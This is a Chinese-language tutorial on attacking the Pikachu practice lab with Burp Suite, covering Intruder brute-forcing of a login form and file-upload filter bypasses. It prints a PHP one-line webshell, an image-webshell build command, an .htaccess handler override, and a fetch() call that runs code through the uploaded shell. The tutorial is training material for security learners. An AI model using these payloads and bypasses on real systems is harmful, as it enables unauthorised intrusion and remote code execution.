首页/资讯中心/详情

Web安全入门实战：Burp Suite与Pikachu靶场攻防演练

Web安全入门实战：Burp Suite与Pikachu靶场攻防演练
📅 发布时间：2026/6/26 20:11:46

1. 项目概述：为什么Pikachu是Web安全新手的“新手村”

如果你刚接触Web安全，面对一堆术语和工具感到无从下手，那Pikachu靶场绝对是你绕不开的“新手村”。它不像DVWA那样功能繁多但略显陈旧，也不像一些商业靶场那样复杂。Pikachu靶场最大的特点就是“场景化”和“接地气”。它把OWASP Top 10里最常见的漏洞，比如SQL注入、XSS、文件上传、暴力破解等，都做成了一个个独立、完整的小应用场景。你不需要去理解一个庞大电商系统的业务逻辑，只需要专注于眼前这个登录框、这个上传点，理解漏洞是如何产生、如何被利用的。这种设计，极大地降低了学习门槛，让你能快速建立起对漏洞的直观感受。

而Burp Suite，则是我们手中的“瑞士军刀”。它不是一个单一的工具，而是一个功能强大的集成平台，代理、爬虫、扫描器、重放器、编码器……几乎所有手工测试需要的功能它都囊括了。很多新手会觉得Burp Suite界面复杂，功能按钮太多，不知道从何用起。我的建议是，不要试图一次性掌握所有功能。最好的学习方法，就是带着明确的目标去使用它。比如，今天我们的目标就是用Burp Suite，把Pikachu靶场里从暴力破解到文件上传这几个经典漏洞亲手“打”一遍。在这个过程中，你会自然而然地熟悉Proxy的拦截与改包、Intruder的爆破功能、Repeater的重放测试。这种“以战代练”的方式，远比看一百篇功能介绍文章来得有效。

这篇文章，就是为你这样想入门Web安全手工测试的朋友准备的。我会假设你已经按照教程在本地或虚拟机里搭好了Pikachu靶场，并且给Burp Suite配好了浏览器代理。接下来，我们不会讲太多空洞的理论，而是直接进入实战。我会带你一步步操作，重点不是告诉你“点这里，点那里”，而是解释“为什么要这么做”以及“操作时最容易在哪个环节翻车”。从最简单的暴力破解开始，到稍微需要点技巧的文件上传绕过，我们一个坑一个坑地踩过去，把Burp Suite的核心功能用熟、用透。

2. 环境准备与Burp Suite核心模块初探

在开始“闯关”之前，我们必须把“武器”调试到最佳状态。很多新手卡在第一步，不是因为漏洞原理不懂，而是环境没配通，请求根本抓不到或者改不了。

2.1 Burp Suite与浏览器的“握手”配置

首先，确保你的Burp Suite Community Edition（社区版）已经启动，并且默认监听在127.0.0.1:8080。这个端口是Burp的代理端口，所有经过它的流量都会被截获。接下来是浏览器的配置，这里有个关键细节：不要只在系统网络设置里配代理，那样会影响你所有的网络请求。我强烈建议为安全测试专门配置一个浏览器，或者至少是一个独立的浏览器配置文件。

以Chrome为例，你可以通过命令行启动一个专门用于测试的实例：chrome.exe --proxy-server="127.0.0.1:8080" --ignore-certificate-errors --user-data-dir="C:\BurpProfile"。这条命令做了三件事：1. 设置代理到Burp；2. 忽略证书错误（因为Burp会生成自己的CA证书来解密HTTPS流量，浏览器默认不信任）；3. 使用一个独立的用户数据目录，和你日常的浏览记录、书签完全隔离。启动后，访问http://burp下载并安装Burp的CA证书。这一步至关重要，否则你访问HTTPS网站会看到一堆警告，Pikachu靶场如果部署在HTTPS下也会抓不到包。

配置完成后，在Burp的Proxy -> Intercept标签页，确保Intercept is on是打开状态。然后，用你的测试浏览器访问Pikachu靶场的首页（通常是http://your-ip/pikachu）。如果一切正常，你会看到浏览器的请求“卡住”了，而Burp的Intercept界面里出现了这个HTTP请求。这就意味着“握手”成功，Burp已经成为了你和靶场之间的“中间人”。

2.2 认识你的作战指挥中心：Proxy, Intruder, Repeater

成功抓到第一个包后，别急着放行。我们来快速认识一下接下来会频繁使用的三个核心模块，理解它们的分工。

Proxy（代理）：这是Burp的“前线哨所”。所有流经的请求和响应都会在这里被记录和展示。Intercept子标签用于手动拦截和修改单个请求，适合精细操作。而HTTP history子标签则记录了所有经过的流量，是你回顾操作、寻找漏网之鱼的“日志中心”。一个实用的技巧是，在测试不同漏洞时，可以右键点击HTTP history中的请求，选择Send to Intruder或Send to Repeater，这是你发起攻击的起点。

Intruder（入侵者）：这是你的“自动化爆破兵”。它的核心功能是，对一个HTTP请求模板，在指定的位置（称为“攻击位置”或“Payload位置”）替换上不同的载荷（Payload），然后自动发送大量请求，并分析响应。它主要用来干两件事：暴力破解（如用户名/密码）和模糊测试（寻找参数中的潜在漏洞）。它有四种攻击模式，我们待会儿在暴力破解时会详细讲最常用的“狙击手”模式。

Repeater（重放器）：这是你的“实验室”和“调试器”。你可以把一个请求发送到Repeater，然后随意修改它的任何部分——参数、头、方法——并手动发送，观察响应。它不像Intruder那样自动化，但给了你完全的控制权。在测试文件上传漏洞时，Repeater是你的主战场，因为你需要反复尝试不同的绕过姿势，并立刻看到结果。

把这三个模块的关系想象成：Proxy负责“侦察和捕获”（抓包），Intruder负责“大规模火力覆盖”（爆破），Repeater负责“特种小队精确打击”（手动测试）。搞清楚这个，你的测试思路会清晰很多。

3. 第一关：暴力破解漏洞实战与Intruder深度解析

Pikachu靶场的暴力破解模块通常是一个简单的登录框。我们的目标是，利用Burp Suite的Intruder模块，自动化地尝试用户名和密码的组合，直到找到正确的那个。

3.1 抓取登录请求与攻击位置设定

首先，用浏览器访问暴力破解的页面，随便输入一个用户名（如test）和密码（如123），点击登录。同时，确保Burp的拦截是开启的。这时，登录请求会被Burp拦截在Proxy的Intercept标签页。

你会看到一个POST请求，Body里大概是username=test&password=123&submit=Login这样的形式。这里第一个坑来了：不要直接在这个拦截的请求上点“Attack”。虽然Burp提供了一个快捷按钮，但我建议你养成习惯：右键点击这个请求，选择Send to Intruder。这样，这个请求就被送到了Intruder模块，作为我们攻击的模板。

切换到Intruder -> Positions标签。Burp会自动用§符号标记一些它认为可能是参数的攻击位置。通常，它会标记username和password的值。但自动标记不一定准确，你需要手动检查。点击右边的Clear §按钮清空所有标记，然后手动用鼠标选中test这个值，点击Add §。同样地，选中123，点击Add §。现在，你的请求模板应该看起来像username=§test§&password=§123§&submit=Login。这告诉Intruder：“请在§符号包围的这两个位置，替换我提供的Payload进行测试。”

3.2 Payload配置与攻击模式选择

接下来是核心步骤：配置Payload。切换到Intruder -> Payloads标签。因为我们在两个位置做了标记（Positions标签页顶部会显示Attack type和Payload Positions），所以这里会有Payload set的选择。Payload set: 1对应第一个标记位置（username），Payload set: 2对应第二个标记位置（password）。

攻击模式的选择至关重要。Intruder有四种模式：

  • Sniper（狙击手）：使用一个Payload集合，依次替换每一个攻击位置。适合测试单个参数（如只爆破密码，用户名已知）。
  • Battering ram（攻城锤）：使用一个Payload集合，同时替换所有攻击位置为相同的值。很少用。
  • Pitchfork（草叉）：使用多个Payload集合，每个集合对应一个攻击位置，并行遍历。这是爆破“用户名:密码”组合的标准模式。Set 1放用户名字典，Set 2放密码字典，它们会一一对应进行尝试。
  • Cluster bomb（集束炸弹）：使用多个Payload集合，进行笛卡尔积式遍历。即Set 1的每个Payload，都会与Set 2的所有Payload组合。这是最暴力、最全面的模式，但请求量是乘积关系，巨大。

对于已知用户名爆破密码，用Sniper。对于完全未知的用户名和密码组合爆破，我们这里应该用Pitchfork。但请注意，Pikachu靶场的暴力破解漏洞，为了教学简化，常常设置了一个已知的弱用户名（如admin）。所以更常见的实战是：先用一个常见用户名字典（如admin, root, test）搭配一个密码字典，用Pitchfork模式试一遍。如果发现admin这个用户存在但密码不对，再针对admin用Sniper模式爆破密码。

假设我们采用Pitchfork模式。在Payload set: 1，Payload type选择Simple list，然后在下面的输入框里，直接添加几个常见的用户名，比如：

admin administrator test pikachu

在Payload set: 2，同样选择Simple list，添加一个简单的密码字典：

123456 password admin 12345678 qwerty

注意：在实际测试中，你需要准备更全面的字典文件，并通过Load...按钮载入。这里为了演示，用手动输入。

3.3 执行攻击与结果分析

配置好Payload后，点击右上角的Start attack。Intruder会弹出一个新窗口，开始发送请求。你会看到一行行的请求和对应的响应。

如何判断哪个请求成功了？这是第二个关键点。我们不能只看返回的HTTP状态码（比如200），因为很多网站登录失败也返回200，只是页面内容不同。我们需要关注响应长度（Length）或响应内容。

在攻击结果窗口，点击表头可以对各列排序。点击Length列，让响应长度排序。通常，登录成功和登录失败的页面内容大小会有明显差异。成功页面可能更长（包含用户菜单），也可能更短（跳转到了新页面）。仔细对比，找到那个长度与众不同的行。然后，切换到Response标签页，查看该请求的响应体，确认是否包含了“登录成功”、“Welcome”等关键字，或者是否发生了302跳转（在Response的Headers里找Location字段）。

在Pikachu靶场中，成功登录通常会有明确的提示。找到成功的组合后，你就可以用这个用户名密码去登录了。通过这个流程，你不仅学会了爆破，更重要的是理解了Intruder的攻击模式选择和结果分析技巧，这是很多教程一笔带过但实际非常容易出错的地方。

4. 第二关：文件上传漏洞原理与绕过思路

过了暴力破解，我们来到Web安全中另一个高频且危害极大的漏洞——文件上传。Pikachu靶场的文件上传模块，通常会设计多种防护措施，让我们来逐一拆解。

4.1 理解服务端的防御“检查点”

一个具备基本安全意识的开发者，会在文件上传功能上设置多层检查。我们的绕过，就是针对这些检查点的“闯关”。常见的检查点包括：

  1. 客户端JavaScript校验：这是最弱的一环。通常是在上传表单的onsubmit事件中，用JavaScript检查文件的后缀名（如是否.jpg, .png）。绕过方法：直接禁用浏览器JavaScript，或者用Burp抓包后，修改文件名再放行。因为JS运行在浏览器，我们完全可控。
  2. 服务端MIME类型检查：服务器通过HTTP请求头中的Content-Type字段（如image/jpeg）来判断文件类型。绕过方法：用Burp拦截上传请求，将Content-Type改为允许的类型，比如即使你上传的是.php文件，也把Content-Type改成image/jpeg。
  3. 服务端文件后缀名检查：这是最核心的检查。服务器会检查文件名（如shell.php）的后缀是否在黑名单（如php, asp, jsp）或白名单（如jpg, png, gif）中。
    • 黑名单绕过：尝试一些冷门但可执行的后缀，如php3, php4, php5, phtml, phps（如果服务器配置了将这些后缀解析为PHP）。或者在后缀名后加空格、点号（shell.php.），利用系统处理文件名时的特性。
    • 白名单绕过：这是重点。如果服务器只允许.jpg等，我们需要进行“文件内容欺骗”。
  4. 服务端文件内容检查：更高级的防御，会检查文件内容的开头字节（文件头魔数），判断是否是真实的图片。例如，一个真正的JPEG图片文件开头是FF D8 FF E0。
  5. 服务端二次渲染：最严格的防御。服务器会对上传的图片进行真正的压缩、裁剪等处理，任何嵌入在图片中的恶意代码都会被破坏。绕过难度极高，通常需要结合图片本身的漏洞（如图片解析漏洞）。

Pikachu靶场通常会涵盖前三种情况。我们的思路是：准备一个包含恶意代码的文本文件，然后利用各种技巧，让它“骗过”服务器的检查，最终被当成脚本执行。

4.2 制作你的“特制”Payload

对于Web安全测试，最常见的恶意文件就是“一句话木马”（Webshell）。它体积小，功能强。一个经典的PHP一句话木马如下：

<?php @eval($_POST['cmd']);?>

这段代码的意思是：执行通过POST参数cmd传过来的任意PHP代码。@符号用于抑制错误信息，使其更隐蔽。

但是，直接上传一个内容为此代码的.php文件，几乎肯定会被拦截。我们需要对它进行“包装”。一个万金油的方法是制作一个图片马。你可以用Windows的copy命令或者Linux的cat命令，将一个真实的图片和一个一句话木马合并：

copy /b normal.jpg + shell.php webshell.jpg

这样生成的webshell.jpg，用图片查看器打开是正常的图片，但用文本编辑器查看末尾，就包含了我们的PHP代码。服务器如果只检查文件头，它会认为这是一张jpg图片。但如果服务器不仅检查文件头，还要求文件后缀必须是.jpg，那我们就需要结合后续的绕过技巧。

5. 实战：利用Burp Suite绕过文件上传限制

现在，我们进入实操环节。打开Pikachu的文件上传页面，选择我们制作好的“图片马”webshell.jpg，点击上传。同时，Burp Proxy开启拦截。

5.1 绕过客户端与MIME类型检查

请求被Burp拦截后，你看到的可能是一个multipart/form-data格式的POST请求。关键部分在Body里：

Content-Disposition: form-data; name="uploadfile"; filename="webshell.jpg" Content-Type: image/jpeg ...（这里是文件的二进制内容）...

如果这个请求被直接放行，而靶场只有客户端JS校验，那么很可能就上传成功了，因为JS已经被我们绕过（抓包意味着请求已发出，JS检查已过）。但如果靶场有服务端MIME检查，它看到Content-Type: image/jpeg和.jpg后缀，也可能通过。

第一个绕过点：如果上传失败，返回“文件类型不正确”，我们可以尝试修改两处：1.filename，将其改为webshell.php；2.Content-Type，将其改为text/php或application/x-php。然后放行请求，观察响应。这是一个试探过程，用于判断服务器检查的严格程度。

5.2 绕过服务端后缀名检查（黑名单/白名单）

假设我们将filename改为webshell.php后上传失败，提示“不允许上传该类型文件”，说明存在服务端后缀检查。

黑名单绕过尝试：将filename改为一些变异后缀尝试：

  • webshell.php3
  • webshell.php5
  • webshell.phtml
  • webshell.phps
  • webshell.php.（末尾加点，Windows系统可能会自动去除）
  • webshell.php（末尾加空格，需要URL编码为%20） 每次修改后，都通过Burp的Repeater发送，而不是在Proxy拦截界面直接放行。因为Repeater可以让你保留原始请求，方便反复修改和测试。右键点击拦截的请求，选择Send to Repeater。

白名单绕过尝试：如果黑名单绕过无效，或者提示“只允许jpg、png格式”，说明是白名单机制。这时，我们的“图片马”就派上用场了。但光有图片内容还不够，后缀必须是白名单内的。我们可以尝试以下经典绕过姿势：

  1. 双写后缀：filename="webshell.jpg.php"。如果服务器的检查逻辑是简单的字符串匹配，寻找.php并删除，可能会错误地处理成删除中间的.php，留下.jpg，但实际保存的文件名可能是webshell.jpg。不过，更常见的是，它检查最后一个后缀。这个技巧在某些不严谨的代码中可能生效。
  2. 路径截断（较古老，依赖特定环境）：filename="webshell.jpg.php\0.jpg"或利用%00空字节截断（需要PHP版本<5.3.4且特定配置）。在现代环境中较少见。
  3. 大小写绕过：filename="webshell.Php"或filename="webshell.PHP"。如果服务器检查是大小写敏感的，可能绕过。
  4. .htaccess文件攻击（针对Apache）：如果服务器允许上传.htaccess文件，我们可以上传一个自定义的.htaccess，其内容为：
    AddType application/x-httpd-php .jpg
    这行配置告诉Apache服务器，将.jpg后缀的文件也当作PHP来解析。然后我们再上传webshell.jpg，它就会被解析执行。这是非常厉害的一招，但前提是服务器允许上传.htaccess且Apache配置未禁止覆盖。

在Pikachu靶场中，通常会设计其中一种或几种可绕过的方式。你需要像做实验一样，在Repeater中系统地尝试这些filename的变体，并观察响应。成功的响应通常会返回文件保存的路径，比如Upload success! File path: uploads/webshell.php。

5.3 验证漏洞与获取Webshell

当你通过响应信息确认文件上传成功，并且路径已知后，最关键的一步是：验证它是否真的能作为脚本执行。

仅仅文件被保存到服务器并不代表漏洞利用成功。如果服务器没有将该文件放置在Web可访问目录，或者没有配置相应的解析器（比如上传了.php文件但服务器没装PHP），那它只是一个静态文件。

访问你上传的文件，例如http://your-ip/pikachu/uploads/webshell.php。如果页面空白或者没有报“404 Not Found”或“Access denied”，那很可能成功了。接下来，我们需要验证命令执行。

这里我们不推荐使用中国菜刀这类图形化工具进行初始连接，因为它们特征明显，容易被防护设备发现。更隐蔽的方式是直接使用浏览器或curl进行POST请求。

打开浏览器开发者工具（F12），切换到Console（控制台）或使用FetchAPI，或者使用curl命令。假设我们的一句话木马是<?php @eval($_POST['cmd']);?>，上传后的地址是/uploads/shell.php。

使用浏览器控制台验证：

fetch('/pikachu/uploads/shell.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'cmd=echo%20"Hello,Pikachu!";' // URL编码的PHP代码：echo "Hello,Pikachu!"; }) .then(response => response.text()) .then(data => console.log(data)) .catch(error => console.error('Error:', error));

如果返回的data中包含了“Hello,Pikachu!”，那么恭喜你，你不仅找到了文件上传漏洞，还成功获得了Webshell，可以执行任意PHP代码了。这标志着你已经具备了初步的漏洞利用能力。

6. 实战中常见问题与排查技巧实录

理论讲得再透，实战中还是会遇到各种“妖魔鬼怪”。下面是我在带新手和自身测试中，总结的几个高频问题及解决思路。

6.1 Burp抓不到本地流量或HTTPS流量

问题现象：浏览器访问Pikachu，Burp的HTTP history里一片空白。

  • 检查代理配置：首先确认浏览器代理设置正确指向了127.0.0.1:8080。如果你用了其他代理插件（如SwitchyOmega），请确保它被正确配置或暂时禁用。
  • 检查Burp监听：在Burp的Proxy -> Options下，查看Proxy Listeners。确保127.0.0.1:8080是Running状态。可以尝试点击Edit，在Binding标签页勾选All interfaces，有时能解决一些奇怪的问题。
  • HTTPS抓包问题：如果靶场是https://开头，你必须完成安装CA证书的步骤。访问http://burp，下载证书，并导入到浏览器的“受信任的根证书颁发机构”存储中。对于Chrome/Edge，它们使用系统的证书存储；对于Firefox，它有自己独立的证书存储，需要单独导入。
  • 防火墙或杀毒软件拦截：偶尔，系统防火墙或安全软件会阻止Burp。尝试暂时关闭它们（测试后请记得打开）。
  • 使用localhost或127.0.0.1：有些应用对localhost和127.0.0.1的处理不同。如果靶场部署在本机，尝试在浏览器中用127.0.0.1代替localhost访问。

6.2 Intruder攻击速度慢或无结果

问题现象：Intruder攻击启动后，请求发送极慢，或者全部失败（状态码如443、502）。

  • 调节线程和速率：在Intruder攻击窗口的Options标签页，找到Request Engine。Number of threads（线程数）不宜过高，对于本地靶场，10-20即可，过高可能拖垮靶场或触发防护。Throttle（延迟）可以适当增加，给服务器响应时间。
  • 检查Payload数量：如果你加载了非常大的字典文件（几十万条），攻击会非常耗时。在测试阶段，先用一个小的、精简的字典。
  • 服务器过载或防护：如果靶场应用本身性能较差，大量并发请求可能导致其无响应。观察服务器资源使用情况。此外，一些应用有简单的防爆破机制，如连续错误多次后锁定IP或账户。在Pikachu靶场中通常没有，但真实环境需要考虑。
  • 网络问题：确保你的测试环境网络稳定。如果是虚拟机，检查网络连接模式（NAT/桥接）。

6.3 文件上传成功但无法访问或执行

问题现象：Burp返回上传成功，并给出了路径，但浏览器访问该路径返回404、403或直接显示源代码。

  • 路径错误：仔细看服务器返回的路径。是相对路径还是绝对路径？是Web路径还是服务器物理路径？uploads/shell.php是相对于网站根目录的。尝试访问http://靶场IP/pikachu/uploads/shell.php。
  • 权限问题：文件虽然上传了，但Web服务器进程（如www-data, apache用户）没有读取或执行该文件的权限。这在Linux服务器上很常见。真实环境中可能需要结合其他漏洞提权，靶场中通常不会设置此障碍。
  • 未解析：这是最可能的情况。你上传的文件后缀没有被服务器配置为可执行脚本。例如，上传了.php文件，但服务器是纯静态HTML服务器，或者.php后缀没有被关联到PHP解析器。在Pikachu靶场中，如果设计了这个坑，那说明你绕过的姿势不对，需要尝试.php5、.phtml等其他可解析后缀，或者尝试.htaccess攻击。
  • 内容被破坏：如果你上传的是“图片马”，并且服务器有二次渲染，你插入在图片末尾的代码很可能在图片被压缩处理时被清除。这种情况下，需要研究更高级的图片隐写技术，将代码写入图片的EXIF信息等不被处理的部分，或者寻找不进行二次渲染的上传点。

6.4 请求被靶场应用本身拦截

问题现象：无论怎么修改Payload，返回的都是统一的错误页面，或者提示“非法请求”。

  • Token或Session验证：检查上传请求的URL参数或表单数据中，是否包含一个随机的token或csrf_token。这种Token通常在一次会话或一次页面加载时生成，用于防止跨站请求伪造。如果你在Repeater里反复发送同一个请求，Token会过期。解决办法是：先用浏览器正常访问一次上传页面，抓取这个包含Token的GET请求，从中提取Token值，再构造你的上传POST请求。或者，编写脚本自动化这个“获取Token-构造请求”的过程。
  • Referer检查：服务器可能检查HTTP请求头中的Referer字段，要求它必须来自本站的上传页面。在Burp中，手动在请求头里添加或修改Referer: http://靶场IP/pikachu/upload_page.php。
  • Cookie/Session依赖：确保你的攻击请求（在Intruder或Repeater中）携带了正确的Cookie。从浏览器中成功访问页面后，从Proxy的HTTP history里找到包含Cookie头的请求，将其复制到你的攻击请求中。

排查这些问题，本质上是对比分析。将一个失败的请求和一个通过浏览器正常操作成功的请求，在Burp的Proxy -> HTTP history里找出来，放在一起逐行对比（Headers, Body, Parameters），差异点往往就是问题所在。养成这种对比的习惯，能解决你未来测试中80%的奇怪问题。